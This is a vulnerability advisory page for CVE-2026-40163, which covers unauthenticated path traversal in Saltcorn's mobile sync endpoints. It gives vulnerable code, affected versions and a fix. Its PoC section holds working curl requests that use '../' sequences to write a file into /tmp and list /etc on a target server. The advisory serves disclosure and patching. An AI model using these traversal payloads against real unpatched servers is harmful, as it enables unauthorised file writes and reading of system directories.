CVE-2026-40163: Saltcorn has an Unauthenticated Path Traversal in sync endpoints allows arbitrary file write and directory read

Published Apr 10, 2026
·
Updated

Summary

Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offlinechanges endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/uploadfinished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.

The safe path validation function File.normaliseinbase() exists in the codebase and is correctly used by the cleansyncdir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.

Details

Finding 1: Arbitrary file write — POST /sync/offlinechanges (sync.js line 226)

The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:

javascript const syncDirName = ${newSyncTimestamp}${req.user?.email || "public"}; const syncDir = path.join( rootFolder.location, "mobileapp", "sync", syncDirName ); await fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir await fs.writeFile( path.join(syncDir, "changes.json"), JSON.stringify(changes) // writes attacker content );

No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.

Finding 2: Arbitrary directory read — GET /sync/uploadfinished (sync.js line 288)

The dirname query parameter is used directly in path.join() without sanitization:

javascript const syncDir = path.join( rootFolder.location, "mobileapp", "sync", dirname ); let entries = await fs.readdir(syncDir);

Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.

Contrast — fixed endpoint in the same file (line 342):

The cleansyncdir endpoint correctly uses File.normaliseinbase():

javascript const syncDir = File.normaliseinbase( path.join(rootFolder.location, "mobileapp", "sync"), dirname ); if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });

PoC

bash Write arbitrary file to /tmp/ curl -X POST http://TARGET:3000/sync/offlinechanges \ -H "Content-Type: application/json" \ -d '{ "newSyncTimestamp": "../../../../tmp/saltcornpoc", "oldSyncTimestamp": "0", "changes": {"proof": "pathtraversalwrite"} }' Result: /tmp/saltcornpocpublic/changes.json created with attacker content

List /etc/ directory curl "http://TARGET:3000/sync/uploadfinished?dirname=../../../../etc"

Impact

- Unauthenticated arbitrary directory creation anywhere on the filesystem - Unauthenticated arbitrary JSON file write (changes.json) to any writable directory - Unauthenticated directory listing of arbitrary directories - Unauthenticated read of specific JSON files from arbitrary directories - Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)

Remediation

Apply File.normaliseinbase() to both endpoints, matching the existing pattern in cleansyncdir:

javascript // offlinechanges fix const syncDirName = ${newSyncTimestamp}${req.user?.email || "public"}; const syncDir = File.normaliseinbase( path.join(rootFolder.location, "mobileapp", "sync"), syncDirName ); if (!syncDir) { return res.status(400).json({ error: "Invalid sync directory name" }); }

// uploadfinished fix const syncDir = File.normaliseinbase( path.join(rootFolder.location, "mobileapp", "sync"), dirname ); if (!syncDir) { return res.json({ finished: false }); }

Additionally, add loggedIn middleware to endpoints that modify server state.

Other sources

Saltcorn is an extensible, open source, no-code database application builder. Prior to 1.4.5, 1.5.5, and 1.6.0-beta.4, the POST /sync/offlinechanges endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/uploadfinished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files. This vulnerability is fixed in 1.4.5, 1.5.5, and 1.6.0-beta.4.

— MITRE

Affected Software

26 affected componentsFixes available
npm/@saltcorn/server>=1.6.0-alpha.0<1.6.0-beta.4
1.6.0-beta.4
npm/@saltcorn/server>=1.5.0-beta.0<1.5.5
1.5.5
npm/@saltcorn/server<1.4.5
1.4.5
Saltcorn Saltcorn<1.4.5
Saltcorn Saltcorn>=1.5.0<1.5.5
Saltcorn Saltcorn=1.6.0-alpha0
Saltcorn Saltcorn=1.6.0-alpha1
Saltcorn Saltcorn=1.6.0-alpha10
Saltcorn Saltcorn=1.6.0-alpha11
Saltcorn Saltcorn=1.6.0-alpha12
Saltcorn Saltcorn=1.6.0-alpha13
Saltcorn Saltcorn=1.6.0-alpha14
Saltcorn Saltcorn=1.6.0-alpha15
Saltcorn Saltcorn=1.6.0-alpha16
Saltcorn Saltcorn=1.6.0-alpha17
Saltcorn Saltcorn=1.6.0-alpha2
Saltcorn Saltcorn=1.6.0-alpha3
Saltcorn Saltcorn=1.6.0-alpha4
Saltcorn Saltcorn=1.6.0-alpha5
Saltcorn Saltcorn=1.6.0-alpha6
Saltcorn Saltcorn=1.6.0-alpha7
Saltcorn Saltcorn=1.6.0-alpha8
Saltcorn Saltcorn=1.6.0-alpha9
Saltcorn Saltcorn=1.6.0-beta1
Saltcorn Saltcorn=1.6.0-beta2
Saltcorn Saltcorn=1.6.0-beta3

Event History

Apr 10, 2026
CVE Published
via MITRE·05:07 PM
Data Sourced
via MITRE·05:07 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
Affected Software
Advisory Published
via GitHub·07:30 PM
Data Sourced
via GitHub·07:30 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-40163?

CVE-2026-40163 is classified as a critical vulnerability due to its potential for unauthenticated arbitrary file write and directory read.

2

How do I fix CVE-2026-40163?

To fix CVE-2026-40163, update the affected Saltcorn package to version 1.6.0-beta.4 or later, or version 1.5.5, or version 1.4.5.

3

Which versions are affected by CVE-2026-40163?

CVE-2026-40163 affects Saltcorn versions prior to 1.6.0-beta.4, 1.5.5, and 1.4.5.

4

Can CVE-2026-40163 be exploited by authenticated users?

CVE-2026-40163 can be exploited by unauthenticated users, making it particularly dangerous.

5

What type of vulnerability is CVE-2026-40163?

CVE-2026-40163 is an unauthenticated path traversal vulnerability found in Saltcorn's sync endpoints.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203